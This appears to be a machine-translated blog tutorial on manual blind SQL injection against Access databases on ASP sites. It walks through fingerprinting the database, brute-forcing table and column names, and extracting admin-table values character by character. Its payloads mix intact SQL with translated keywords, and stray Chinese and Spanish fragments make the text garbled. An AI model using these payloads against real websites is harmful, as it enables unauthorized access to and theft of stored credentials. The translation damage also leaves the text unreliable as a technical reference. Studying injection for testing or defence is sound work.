Netzwerksicherheit – Fortgeschrittene Lerneinheit 12 – SQL Manual Injection 3 (Access-Datenbank)


Injektionsverfahren:

Bestimmen Sie den Datenbanktyp -> Bestimmen Sie den Tabellennamen -> Bestimmen Sie den Spaltennamen -> Bestimmen Sie die Länge des Spaltennamens -> Suchen Sie die Daten.


asp的网站,常用数据库为access、sqlserver。

1. Bestimmen Sie den Datenbanktyp

und existiert (wählen Sie * aus msysobjects)>0Zugang
und existiert (wählen Sie * aus Sysobjects)>0SQL Server

die obige Aussage 会返回1或者0.
msysobjects ist die Standarddatenbank von access und
sysobjects ist die Standarddatenbank von sqlserver .

Wie im Bild gezeigt:
Fügen Sie hier eine Bildbeschreibung ein
Fügen Sie hier eine Bildbeschreibung ein
Hier können Sie beurteilen, dass es sich um eine Zugriffsdatenbank handelt.


2. Bestimmen Sie den Tabellennamen

Tabellennamen durchlaufen: und vorhanden (wählen Sie * aus Tabellennamen aus)
#存在就返回正常页面,不存在就报错。

举例:
und existiert (wählen Sie * aus admin_user)

Verwenden Sie BP, um den Wert des nachfolgenden admin_user-Speicherorts zu durchlaufen.
Angenommen, der Tabellenname, der hier ausgegeben wird, lautet: admin_user


3. Bestimmen Sie den Spaltennamen

Spaltennamen durchlaufen: und existiert (Spaltennamen aus Tabellennamen auswählen)
#Wenn es vorhanden ist, kehren Sie zur normalen Seite zurück. Wenn es nicht vorhanden ist, wird ein Fehler gemeldet.

举例:
und existiert (wählen Sie admin aus admin_user aus)

Wir haben erfahren, dass der Tabellenname admin_user lautet. Verwenden Sie BP, um den Wert des Spaltennamens admin zu durchlaufen
. Angenommen, der hier ausgegebene Spaltenname lautet: admin.


4. Bestimmen Sie die Anzahl der Spalten

Bestellen Sie bis 7
Fügen Sie hier eine Bildbeschreibung ein
前提:页面中需要有显示位

1) Bestimmen Sie die Anzeigeposition

Verwenden Sie eine Union-Abfrage
Union wählt 1,2,3,4,5,6,7 aus admin_user aus


5. Bestimmen Sie die Datenlänge

und (oberste 1 Länge (Spaltenname) aus Tabellennamen auswählen)>5
#Dies ist die Länge der ersten Daten in der Spalte. Bestimmen Sie, ob sie größer als 5 ist

und (wählen Sie Top 1 len(Spaltenname) aus Tabellennamen aus)=5
#Ist die Länge der ersten Daten in dieser Spalte gleich 5?

Beispiel:
and (select top 1 len(admin) from admin_user)=5

Wenn die Rückgabe „true“ ist, bedeutet dies, dass die erste Datenlänge der entsprechenden Admin-Spalte in der Tabelle „admin_user“ 5 beträgt.


6. Inhalt der Explosionsdaten

und (wählen Sie Top 1 asc(mid(Spaltenname, Ziffer, 1)) vom Administrator aus)=97
#mid() wird verwendet, um Felder aus Text zu extrahieren, mid (Spaltenname, Startposition, Anzahl der zurückzugebenden Zeichen)
#asc() dient der ASCII-Codierung

Beispiel:
and (select top 1 asc(mid(admin,1,1)) from admin_user)=97 (der entsprechende Buchstabe von 97 ist a)

#Wenn es „true“ zurückgibt, bedeutet dies, dass die ersten Daten in der Spalte, die dem Admin-Feld in der Tabelle „admin_user“ entspricht, „a“ sind.


Supongo que te gusta

Origin blog.csdn.net/p36273/article/details/132137792
Recomendado
Clasificación